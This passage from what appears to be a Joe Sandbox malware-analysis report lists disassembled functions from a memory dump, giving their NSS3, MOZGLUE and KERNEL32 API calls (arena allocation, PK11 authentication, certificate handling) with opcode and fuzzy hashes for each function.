PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6DBE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6DBE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6DBE3B

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: e1afed968adc9b111443301b503e47b9d25c7a1d9e6831b8be1d3a96bab32179
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: 6A012B65A4121367F61012666D0DF9B26484F903CDF150034EE089BB82FB54F11A82BA

Function 6C730FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6D87ED,00000800,6C6CEF74,00000000), ref: 6C731000
PR_NewLock.NSS3(?,00000800,6C6CEF74,00000000), ref: 6C731016

Part of subcall function 6C7998D0: calloc.MOZGLUE(00000001,00000084,6C6C0936,00000001,?,6C6C102C), ref: 6C7998E5

PL_InitArenaPool.NSS3(00000000,security,6C6D87ED,00000008,?,00000800,6C6CEF74,00000000), ref: 6C73102B
TlsGetValue.KERNEL32(00000000,?,?,6C6D87ED,00000800,6C6CEF74,00000000), ref: 6C731044
free.MOZGLUE(00000000,?,00000800,6C6CEF74,00000000), ref: 6C731064

Strings

security, xrefs: 6C731025

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: 7cbd7a2be90127c916284c14c462eb4fb5b66eb1f8345a647a0d98539c22d428
Instruction ID: b5e5f1d22e266f10717a8a1afe064f72ea86b33a21ddda30117d263a29fd3aa2
Opcode Fuzzy Hash: 7cbd7a2be90127c916284c14c462eb4fb5b66eb1f8345a647a0d98539c22d428
Instruction Fuzzy Hash: D80144B1B402609BE7302F7D9E09A563B68FF07788F015639E80C96A53EB79C114DBD2

Function 6C761C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C761C74

Part of subcall function 6C77C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C77C2BF

DeleteCriticalSection.KERNEL32(?), ref: 6C761C92
free.MOZGLUE(?), ref: 6C761C99
DeleteCriticalSection.KERNEL32(?), ref: 6C761CCB
free.MOZGLUE(?), ref: 6C761CD2

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: 57b3825694c317470896a37ca0c6ada8e0150e6d7a25f89fd5eeea939667781a
Instruction ID: 7820e0da6587e400d2b9bc42757da464b2254ecb23166658ca09cf41c72226e5
Opcode Fuzzy Hash: 57b3825694c317470896a37ca0c6ada8e0150e6d7a25f89fd5eeea939667781a
Instruction Fuzzy Hash: 5D016DB1A056206BEE30AFE59E0DB4937B8AB0A31DF144935E90EA2A42D729D104C7D1

Function 6C772E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6C773046

Part of subcall function 6C75EE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C75EE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6C747FFB), ref: 6C77312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C773154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C772E8B

Part of subcall function 6C77C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C77C2BF

Part of subcall function 6C75F110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6C749BFF,?,00000000,00000000), ref: 6C75F134

memcpy.VCRUNTIME140(8B3C75C0,?,6C747FFA), ref: 6C772EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C77317B

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: 1281d2fc010786c4b55cadc1ccb75598c43b35b1eb4d7a750be3fde0c99aeb9b
Instruction ID: 1060da29eec4e77eb0226f783a87dd00667c54c3dba70b361c05a407345e1b39
Opcode Fuzzy Hash: 1281d2fc010786c4b55cadc1ccb75598c43b35b1eb4d7a750be3fde0c99aeb9b
Instruction Fuzzy Hash: 03A1AC71A002189FDF24CF54CD88BEAB7B5EF49308F0481A9E94967741E731AE85CFA1

Function 6C73ED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6C73ED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6C73EDCE

Part of subcall function 6C730BE0: malloc.MOZGLUE(6C728D2D,?,00000000,?), ref: 6C730BF8
Part of subcall function 6C730BE0: TlsGetValue.KERNEL32(6C728D2D,?,00000000,?), ref: 6C730C15

free.MOZGLUE(00000000,?,?,?,?,6C73B04F), ref: 6C73EE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C73EECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C73EEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C73EEFB

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: da1aed51905ef595d4519f68207e05a22d5821355f5c573c6d12e927c94fc1ac
Instruction ID: 6281e2df76d4ef46905442fe1155d2a6c8fcd8fdb4024ad299b2eb5a080c9437
Opcode Fuzzy Hash: da1aed51905ef595d4519f68207e05a22d5821355f5c573c6d12e927c94fc1ac
Instruction Fuzzy Hash: C8816CB1A002199FEB14CF55DE85AAB77F5BF88308F144438E8199B792DB35EC14CBA1

Function 6C73CCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C73C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C73DAE2,?), ref: 6C73C6C2

PR_Now.NSS3 ref: 6C73CD35

Part of subcall function 6C799DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C7E0A27), ref: 6C799DC6
Part of subcall function 6C799DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C7E0A27), ref: 6C799DD1
Part of subcall function 6C799DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C799DED

Part of subcall function 6C726C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C6D1C6F,00000000,00000004,?,?), ref: 6C726C3F

PR_GetCurrentThread.NSS3 ref: 6C73CD54

Part of subcall function 6C799BF0: TlsGetValue.KERNEL32(?,?,?,6C7E0A75), ref: 6C799C07

Part of subcall function 6C727260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C6D1CCC,00000000,00000000,?,?), ref: 6C72729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C73CD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6C73CE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C73CE2C

Part of subcall function 6C7310C0: TlsGetValue.KERNEL32(?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C7310F3
Part of subcall function 6C7310C0: EnterCriticalSection.KERNEL32(?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C73110C
Part of subcall function 6C7310C0: PL_ArenaAllocate.NSS3(?,?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C731141
Part of subcall function 6C7310C0: PR_Unlock.NSS3(?,?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C731182
Part of subcall function 6C7310C0: TlsGetValue.KERNEL32(?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C73119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6C73CE40

Part of subcall function 6C7314C0: TlsGetValue.KERNEL32 ref: 6C7314E0
Part of subcall function 6C7314C0: EnterCriticalSection.KERNEL32 ref: 6C7314F5
Part of subcall function 6C7314C0: PR_Unlock.NSS3 ref: 6C73150D

Part of subcall function 6C73CEE0: PORT_ArenaMark_Util.NSS3(?,6C73CD93,?), ref: 6C73CEEE
Part of subcall function 6C73CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C73CD93,?), ref: 6C73CEFC
Part of subcall function 6C73CEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C73CD93,?), ref: 6C73CF0B
Part of subcall function 6C73CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C73CD93,?), ref: 6C73CF1D

Part of subcall function 6C73CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C73CD93,?), ref: 6C73CF47
Part of subcall function 6C73CEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C73CD93,?), ref: 6C73CF67
Part of subcall function 6C73CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6C73CD93,?,?,?,?,?,?,?,?,?,?,?,6C73CD93,?), ref: 6C73CF78

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: bf0edd755c481913e0d39409a847b19d8b431fa4a444b8b4f399293222f76bc1
Instruction ID: 6d0054531c97822534fc204e8c1deaf117f8fc700cf58ead2aef71a0fdba4479
Opcode Fuzzy Hash: bf0edd755c481913e0d39409a847b19d8b431fa4a444b8b4f399293222f76bc1
Instruction Fuzzy Hash: EE51E472A002309FE710EF69DE48B9A73F8AF48349F245634D85C97792EB31E904CB91

Function 6C74FFD0 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD076,00000000), ref: 6C74FFE5

Part of subcall function 6C77C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C77C2BF

PR_EnterMonitor.NSS3(?), ref: 6C750004
PR_EnterMonitor.NSS3(?), ref: 6C75001B

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: EnterMonitor$ErrorValue
String ID:
API String ID: 3413098822-0
Opcode ID: fe9de40c0c90a20328770f1efef11085609d80ecec67c02e609b88ccb8d68ec6
Instruction ID: b6f564c873af236462007ebc1b897d234a3c75898dd5a8b4086e22932e833b45
Opcode Fuzzy Hash: fe9de40c0c90a20328770f1efef11085609d80ecec67c02e609b88ccb8d68ec6
Instruction Fuzzy Hash: 164168752446C08BE7304A28DE597AF73A1DB4138CF94083DD44BCAE91EF79A969C743

Function 6C70EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6C70EF38

Part of subcall function 6C6F9520: PK11_IsLoggedIn.NSS3(00000000,?,6C72379E,?,00000001,?), ref: 6C6F9542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C70EF53

Part of subcall function 6C714C20: TlsGetValue.KERNEL32 ref: 6C714C4C
Part of subcall function 6C714C20: EnterCriticalSection.KERNEL32(?), ref: 6C714C60
Part of subcall function 6C714C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C714CA1
Part of subcall function 6C714C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C714CBE
Part of subcall function 6C714C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C714CD2
Part of subcall function 6C714C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C714D3A

PR_GetCurrentThread.NSS3 ref: 6C70EF9E

Part of subcall function 6C799BF0: TlsGetValue.KERNEL32(?,?,?,6C7E0A75), ref: 6C799C07

free.MOZGLUE(00000000), ref: 6C70EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C70F016
free.MOZGLUE(00000000), ref: 6C70F022

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: 2f86ea1dc44f1f2b7f6023c2114679469b6d0dd58c1301484025aacdd56a8e5c
Instruction ID: 8a4c5efde30699a80b2d9dafad21b8c0d9adac7996fc235c566dafdf70abd7c8
Opcode Fuzzy Hash: 2f86ea1dc44f1f2b7f6023c2114679469b6d0dd58c1301484025aacdd56a8e5c
Instruction Fuzzy Hash: 2141B0B1E00209AFDF018FA9DD89BEE7BB9AF48358F044035F914A6350E771D915CBA5

Function 6C6FCF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6C6FCF80
SECITEM_DupItem_Util.NSS3(?), ref: 6C6FD002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6C6FD016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6FD025
PR_NewLock.NSS3 ref: 6C6FD043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C6FD074

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: 19c28abcaba02390ffb9719dec92fccee39c930409021112001bef6611c82473
Instruction ID: 51e06a9e603e37f89d42534c31e871a12540de3f5b7f85ecd7795ec6cec45ce4
Opcode Fuzzy Hash: 19c28abcaba02390ffb9719dec92fccee39c930409021112001bef6611c82473
Instruction Fuzzy Hash: B741D6B0A013119FEB10DF29C88979ABBF5EF08358F144169DC298F746D774E486CBA9

Function 6C743FD0 Relevance: 9.1, APIs: 6, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C743FF2

Part of subcall function 6C7314C0: TlsGetValue.KERNEL32 ref: 6C7314E0
Part of subcall function 6C7314C0: EnterCriticalSection.KERNEL32 ref: 6C7314F5
Part of subcall function 6C7314C0: PR_Unlock.NSS3 ref: 6C73150D

PORT_ArenaMark_Util.NSS3(?), ref: 6C744001
PORT_ArenaAlloc_Util.NSS3(?,00000074), ref: 6C74400F

Part of subcall function 6C7310C0: TlsGetValue.KERNEL32(?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C7310F3
Part of subcall function 6C7310C0: EnterCriticalSection.KERNEL32(?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C73110C
Part of subcall function 6C7310C0: PL_ArenaAllocate.NSS3(?,?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C731141
Part of subcall function 6C7310C0: PR_Unlock.NSS3(?,?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C731182
Part of subcall function 6C7310C0: TlsGetValue.KERNEL32(?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C73119C

CERT_CertChainFromCert.NSS3(?,00000004,00000000), ref: 6C744054

Part of subcall function 6C6DBB90: PORT_NewArena_Util.NSS3(00001000), ref: 6C6DBC24
Part of subcall function 6C6DBB90: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C6DBC39
Part of subcall function 6C6DBB90: PORT_ArenaAlloc_Util.NSS3(00000000), ref: 6C6DBC58
Part of subcall function 6C6DBB90: SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C6DBCBE

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C744070
NSS_CMSSignedData_Destroy.NSS3(00000000), ref: 6C7440CD

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$CertCriticalEnterMark_SectionUnlock$AllocateArena_ChainCopyData_DestroyErrorFromItem_Signed
String ID:
API String ID: 3882640887-0
Opcode ID: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction ID: 5a93d48ecb512805fa52a4aa486891f365e45baeab777b0522a2528c9348063b
Opcode Fuzzy Hash: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction Fuzzy Hash: 1331F872E0035597EB008F649E45BBB3364AF9170CF149274ED089B752FB71E968D2A1

Function 6C6E2E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6C6D2D1A), ref: 6C6E2E7E

Part of subcall function 6C7307B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C6D8298,?,?,?,6C6CFCE5,?), ref: 6C7307BF
Part of subcall function 6C7307B0: PL_HashTableLookup.NSS3(?,?), ref: 6C7307E6
Part of subcall function 6C7307B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C73081B
Part of subcall function 6C7307B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C730825

PR_Now.NSS3 ref: 6C6E2EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6C6E2EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6C6D2D1A), ref: 6C6E2F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C6D2D1A), ref: 6C6E2F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C6E2F81

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 67098a7c7a4f39dd1f03368eb8ac791732380f848029a8eb97ba50364bc358f0
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: A131457158B1468BF710C625DC4CBAE7367EF88318F24467BC01D87AD0EB309886C619

Function 6C6D0E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6C6D0A2C), ref: 6C6D0E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6C6D0A2C), ref: 6C6D0E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6C6D0A2C), ref: 6C6D0E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6C6D0A2C), ref: 6C6D0E90
free.MOZGLUE(00000000), ref: 6C6D0EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6C6D0A2C), ref: 6C6D0ED9

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: 4d37ef6d176346ff7bda79d727c89a474ad061d330d6a14e7fb1f411eb3fb817
Instruction ID: 2e26764b7ddb20ccaf07f157ddfa2d446a9c7f7fd2fc425d6a405518baeffd68
Opcode Fuzzy Hash: 4d37ef6d176346ff7bda79d727c89a474ad061d330d6a14e7fb1f411eb3fb817
Instruction Fuzzy Hash: 03213E76E0028757EB1045669C49BBB72AEDBC5748F1B4435D81C97A02EA60E81682E6

